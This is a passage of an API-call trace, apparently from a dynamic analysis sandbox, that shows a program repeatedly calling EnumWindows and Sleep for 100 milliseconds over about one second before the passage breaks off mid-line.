[0157.678] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.678] Sleep (dwMilliseconds=0x64) [0157.682] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.682] Sleep (dwMilliseconds=0x64) [0157.684] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.684] Sleep (dwMilliseconds=0x64) [0157.686] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.686] Sleep (dwMilliseconds=0x64) [0157.689] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.689] Sleep (dwMilliseconds=0x64) [0157.691] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.691] Sleep (dwMilliseconds=0x64) [0157.692] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.692] Sleep (dwMilliseconds=0x64) [0157.694] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.695] Sleep (dwMilliseconds=0x64) [0157.697] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.697] Sleep (dwMilliseconds=0x64) [0157.699] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.699] Sleep (dwMilliseconds=0x64) [0157.701] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.701] Sleep (dwMilliseconds=0x64) [0157.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.703] Sleep (dwMilliseconds=0x64) [0157.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.704] Sleep (dwMilliseconds=0x64) [0157.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.706] Sleep (dwMilliseconds=0x64) [0157.707] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.707] Sleep (dwMilliseconds=0x64) [0157.709] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.709] Sleep (dwMilliseconds=0x64) [0157.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.711] Sleep (dwMilliseconds=0x64) [0157.713] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.714] Sleep (dwMilliseconds=0x64) [0157.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.717] Sleep (dwMilliseconds=0x64) [0157.718] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.718] Sleep (dwMilliseconds=0x64) [0157.720] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.720] Sleep (dwMilliseconds=0x64) [0157.721] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.721] Sleep (dwMilliseconds=0x64) [0157.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.723] Sleep (dwMilliseconds=0x64) [0157.725] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.726] Sleep (dwMilliseconds=0x64) [0157.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.728] Sleep (dwMilliseconds=0x64) [0157.730] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.730] Sleep (dwMilliseconds=0x64) [0157.732] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.732] Sleep (dwMilliseconds=0x64) [0157.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.734] Sleep (dwMilliseconds=0x64) [0157.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.736] Sleep (dwMilliseconds=0x64) [0157.738] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.738] Sleep (dwMilliseconds=0x64) [0157.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.740] Sleep (dwMilliseconds=0x64) [0157.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.741] Sleep (dwMilliseconds=0x64) [0157.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.743] Sleep (dwMilliseconds=0x64) [0157.745] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.745] Sleep (dwMilliseconds=0x64) [0157.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.748] Sleep (dwMilliseconds=0x64) [0157.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.772] Sleep (dwMilliseconds=0x64) [0157.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.774] Sleep (dwMilliseconds=0x64) [0157.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.776] Sleep (dwMilliseconds=0x64) [0157.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.778] Sleep (dwMilliseconds=0x64) [0157.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.779] Sleep (dwMilliseconds=0x64) [0157.781] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.781] Sleep (dwMilliseconds=0x64) [0157.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.783] Sleep (dwMilliseconds=0x64) [0157.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.784] Sleep (dwMilliseconds=0x64) [0157.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.790] Sleep (dwMilliseconds=0x64) [0157.792] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.792] Sleep (dwMilliseconds=0x64) [0157.794] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.794] Sleep (dwMilliseconds=0x64) [0157.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.795] Sleep (dwMilliseconds=0x64) [0157.796] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.797] Sleep (dwMilliseconds=0x64) [0157.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.798] Sleep (dwMilliseconds=0x64) [0157.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.800] Sleep (dwMilliseconds=0x64) [0157.801] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.802] Sleep (dwMilliseconds=0x64) [0157.874] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.874] Sleep (dwMilliseconds=0x64) [0157.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.877] Sleep (dwMilliseconds=0x64) [0157.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.933] Sleep (dwMilliseconds=0x64) [0157.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.935] Sleep (dwMilliseconds=0x64) [0157.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.937] Sleep (dwMilliseconds=0x64) [0157.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.938] Sleep (dwMilliseconds=0x64) [0157.950] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.950] Sleep (dwMilliseconds=0x64) [0157.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.955] Sleep (dwMilliseconds=0x64) [0157.961] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.962] Sleep (dwMilliseconds=0x64) [0157.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.964] Sleep (dwMilliseconds=0x64) [0157.966] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.966] Sleep (dwMilliseconds=0x64) [0157.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.993] Sleep (dwMilliseconds=0x64) [0158.024] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.025] Sleep (dwMilliseconds=0x64) [0158.026] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.026] Sleep (dwMilliseconds=0x64) [0158.028] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.028] Sleep (dwMilliseconds=0x64) [0158.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.029] Sleep (dwMilliseconds=0x64) [0158.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.031] Sleep (dwMilliseconds=0x64) [0158.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.033] Sleep (dwMilliseconds=0x64) [0158.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.035] Sleep (dwMilliseconds=0x64) [0158.036] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.036] Sleep (dwMilliseconds=0x64) [0158.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.037] Sleep (dwMilliseconds=0x64) [0158.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.039] Sleep (dwMilliseconds=0x64) [0158.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.040] Sleep (dwMilliseconds=0x64) [0158.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.042] Sleep (dwMilliseconds=0x64) [0158.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.043] Sleep (dwMilliseconds=0x64) [0158.045] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.045] Sleep (dwMilliseconds=0x64) [0158.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.047] Sleep (dwMilliseconds=0x64) [0158.050] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.050] Sleep (dwMilliseconds=0x64) [0158.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.052] Sleep (dwMilliseconds=0x64) [0158.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.053] Sleep (dwMilliseconds=0x64) [0158.055] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.055] Sleep (dwMilliseconds=0x64) [0158.102] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.103] Sleep (dwMilliseconds=0x64) [0158.106] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.106] Sleep (dwMilliseconds=0x64) [0158.107] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.107] Sleep (dwMilliseconds=0x64) [0158.109] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.109] Sleep (dwMilliseconds=0x64) [0158.124] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.124] Sleep (dwMilliseconds=0x64) [0158.126] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.126] Sleep (dwMilliseconds=0x64) [0158.128] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.128] Sleep (dwMilliseconds=0x64) [0158.130] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.130] Sleep (dwMilliseconds=0x64) [0158.132] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.132] Sleep (dwMilliseconds=0x64) [0158.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.133] Sleep (dwMilliseconds=0x64) [0158.135] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.135] Sleep (dwMilliseconds=0x64) [0158.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.136] Sleep (dwMilliseconds=0x64) [0158.138] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.138] Sleep (dwMilliseconds=0x64) [0158.139] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.139] Sleep (dwMilliseconds=0x64) [0158.141] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.143] Sleep (dwMilliseconds=0x64) [0158.144] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.145] Sleep (dwMilliseconds=0x64) [0158.147] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.147] Sleep (dwMilliseconds=0x64) [0158.157] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.157] Sleep (dwMilliseconds=0x64) [0158.159] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.159] Sleep (dwMilliseconds=0x64) [0158.161] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.161] Sleep (dwMilliseconds=0x64) [0158.162] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.163] Sleep (dwMilliseconds=0x64) [0158.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.164] Sleep (dwMilliseconds=0x64) [0158.165] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.166] Sleep (dwMilliseconds=0x64) [0158.167] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.167] Sleep (dwMilliseconds=0x64) [0158.169] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.169] Sleep (dwMilliseconds=0x64) [0158.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.170] Sleep (dwMilliseconds=0x64) [0158.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.172] Sleep (dwMilliseconds=0x64) [0158.173] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.173] Sleep (dwMilliseconds=0x64) [0158.175] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.175] Sleep (dwMilliseconds=0x64) [0158.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.177] Sleep (dwMilliseconds=0x64) [0158.178] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.178] Sleep (dwMilliseconds=0x64) [0158.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.188] Sleep (dwMilliseconds=0x64) [0158.190] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.190] Sleep (dwMilliseconds=0x64) [0158.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.191] Sleep (dwMilliseconds=0x64) [0158.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.193] Sleep (dwMilliseconds=0x64) [0158.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.194] Sleep (dwMilliseconds=0x64) [0158.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.196] Sleep (dwMilliseconds=0x64) [0158.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.198] Sleep (dwMilliseconds=0x64) [0158.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.200] Sleep (dwMilliseconds=0x64) [0158.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.201] Sleep (dwMilliseconds=0x64) [0158.270] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.272] Sleep (dwMilliseconds=0x64) [0158.274] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.274] Sleep (dwMilliseconds=0x64) [0158.276] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.276] Sleep (dwMilliseconds=0x64) [0158.278] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.278] Sleep (dwMilliseconds=0x64) [0158.279] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.279] Sleep (dwMilliseconds=0x64) [0158.284] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.284] Sleep (dwMilliseconds=0x64) [0158.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.286] Sleep (dwMilliseconds=0x64) [0158.288] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.288] Sleep (dwMilliseconds=0x64) [0158.290] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.290] Sleep (dwMilliseconds=0x64) [0158.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.291] Sleep (dwMilliseconds=0x64) [0158.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.293] Sleep (dwMilliseconds=0x64) [0158.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.295] Sleep (dwMilliseconds=0x64) [0158.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.296] Sleep (dwMilliseconds=0x64) [0158.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.298] Sleep (dwMilliseconds=0x64) [0158.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.299] Sleep (dwMilliseconds=0x64) [0158.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.316] Sleep (dwMilliseconds=0x64) [0158.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.318] Sleep (dwMilliseconds=0x64) [0158.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.320] Sleep (dwMilliseconds=0x64) [0158.321] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.321] Sleep (dwMilliseconds=0x64) [0158.322] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.323] Sleep (dwMilliseconds=0x64) [0158.324] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.324] Sleep (dwMilliseconds=0x64) [0158.325] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.326] Sleep (dwMilliseconds=0x64) [0158.327] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.327] Sleep (dwMilliseconds=0x64) [0158.329] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.329] Sleep (dwMilliseconds=0x64) [0158.330] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.330] Sleep (dwMilliseconds=0x64) [0158.331] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.332] Sleep (dwMilliseconds=0x64) [0158.333] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.333] Sleep (dwMilliseconds=0x64) [0158.335] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.335] Sleep (dwMilliseconds=0x64) [0158.336] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.337] Sleep (dwMilliseconds=0x64) [0158.338] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.338] Sleep (dwMilliseconds=0x64) [0158.340] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.340] Sleep (dwMilliseconds=0x64) [0158.341] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.341] Sleep (dwMilliseconds=0x64) [0158.343] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.343] Sleep (dwMilliseconds=0x64) [0158.344] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.345] Sleep (dwMilliseconds=0x64) [0158.346] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.346] Sleep (dwMilliseconds=0x64) [0158.347] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.348] Sleep (dwMilliseconds=0x64) [0158.349] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.349] Sleep (dwMilliseconds=0x64) [0158.351] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.351] Sleep (dwMilliseconds=0x64) [0158.353] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.353] Sleep (dwMilliseconds=0x64) [0158.354] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.354] Sleep (dwMilliseconds=0x64) [0158.355] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.356] Sleep (dwMilliseconds=0x64) [0158.357] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.357] Sleep (dwMilliseconds=0x64) [0158.358] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.359] Sleep (dwMilliseconds=0x64) [0158.360] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.360] Sleep (dwMilliseconds=0x64) [0158.362] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.362] Sleep (dwMilliseconds=0x64) [0158.363] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.363] Sleep (dwMilliseconds=0x64) [0158.366] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.366] Sleep (dwMilliseconds=0x64) [0158.367] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.367] Sleep (dwMilliseconds=0x64) [0158.368] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.369] Sleep (dwMilliseconds=0x64) [0158.371] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.371] Sleep (dwMilliseconds=0x64) [0158.373] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.373] Sleep (dwMilliseconds=0x64) [0158.374] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.375] Sleep (dwMilliseconds=0x64) [0158.376] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.376] Sleep (dwMilliseconds=0x64) [0158.378] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.378] Sleep (dwMilliseconds=0x64) [0158.380] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.380] Sleep (dwMilliseconds=0x64) [0158.381] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.381] Sleep (dwMilliseconds=0x64) [0158.382] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.383] Sleep (dwMilliseconds=0x64) [0158.384] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.384] Sleep (dwMilliseconds=0x64) [0158.386] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.386] Sleep (dwMilliseconds=0x64) [0158.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.387] Sleep (dwMilliseconds=0x64) [0158.389] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.389] Sleep (dwMilliseconds=0x64) [0158.390] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.390] Sleep (dwMilliseconds=0x64) [0158.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.392] Sleep (dwMilliseconds=0x64) [0158.393] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.393] Sleep (dwMilliseconds=0x64) [0158.395] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.396] Sleep (dwMilliseconds=0x64) [0158.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.397] Sleep (dwMilliseconds=0x64) [0158.399] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.399] Sleep (dwMilliseconds=0x64) [0158.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.401] Sleep (dwMilliseconds=0x64) [0158.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.403] Sleep (dwMilliseconds=0x64) [0158.404] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.404] Sleep (dwMilliseconds=0x64) [0158.405] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.406] Sleep (dwMilliseconds=0x64) [0158.407] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.407] Sleep (dwMilliseconds=0x64) [0158.409] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.409] Sleep (dwMilliseconds=0x64) [0158.410] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.410] Sleep (dwMilliseconds=0x64) [0158.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.412] Sleep (dwMilliseconds=0x64) [0158.414] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.414] Sleep (dwMilliseconds=0x64) [0158.415] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.415] Sleep (dwMilliseconds=0x64) [0158.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.492] Sleep (dwMilliseconds=0x64) [0158.494] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.494] Sleep (dwMilliseconds=0x64) [0158.495] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.496] Sleep (dwMilliseconds=0x64) [0158.497] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.497] Sleep (dwMilliseconds=0x64) [0158.499] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.499] Sleep (dwMilliseconds=0x64) [0158.500] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.500] Sleep (dwMilliseconds=0x64) [0158.502] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.502] Sleep (dwMilliseconds=0x64) [0158.504] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.504] Sleep (dwMilliseconds=0x64) [0158.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.506] Sleep (dwMilliseconds=0x64) [0158.508] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.508] Sleep (dwMilliseconds=0x64) [0158.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.509] Sleep (dwMilliseconds=0x64) [0158.511] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.511] Sleep (dwMilliseconds=0x64) [0158.512] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.512] Sleep (dwMilliseconds=0x64) [0158.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.514] Sleep (dwMilliseconds=0x64) [0158.515] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.515] Sleep (dwMilliseconds=0x64) [0158.517] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.517] Sleep (dwMilliseconds=0x64) [0158.518] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.518] Sleep (dwMilliseconds=0x64) [0158.520] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.520] Sleep (dwMilliseconds=0x64) [0158.521] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.521] Sleep (dwMilliseconds=0x64) [0158.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.523] Sleep (dwMilliseconds=0x64) [0158.524] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.526] Sleep (dwMilliseconds=0x64) [0158.528] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.528] Sleep (dwMilliseconds=0x64) [0158.530] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.530] Sleep (dwMilliseconds=0x64) [0158.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.531] Sleep (dwMilliseconds=0x64) [0158.533] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.533] Sleep (dwMilliseconds=0x64) [0158.534] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.534] Sleep (dwMilliseconds=0x64) [0158.536] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.536] Sleep (dwMilliseconds=0x64) [0158.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.537] Sleep (dwMilliseconds=0x64) [0158.539] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.539] Sleep (dwMilliseconds=0x64) [0158.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.540] Sleep (dwMilliseconds=0x64) [0158.541] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.542] Sleep (dwMilliseconds=0x64) [0158.543] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.543] Sleep (dwMilliseconds=0x64) [0158.545] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.545] Sleep (dwMilliseconds=0x64) [0158.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.547] Sleep (dwMilliseconds=0x64) [0158.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.549] Sleep (dwMilliseconds=0x64) [0158.550] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.550] Sleep (dwMilliseconds=0x64) [0158.551] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.552] Sleep (dwMilliseconds=0x64) [0158.553] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.553] Sleep (dwMilliseconds=0x64) [0158.555] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.555] Sleep (dwMilliseconds=0x64) [0158.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.556] Sleep (dwMilliseconds=0x64) [0158.558] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.558] Sleep (dwMilliseconds=0x64) [0158.559] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.559] Sleep (dwMilliseconds=0x64) [0158.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.561] Sleep 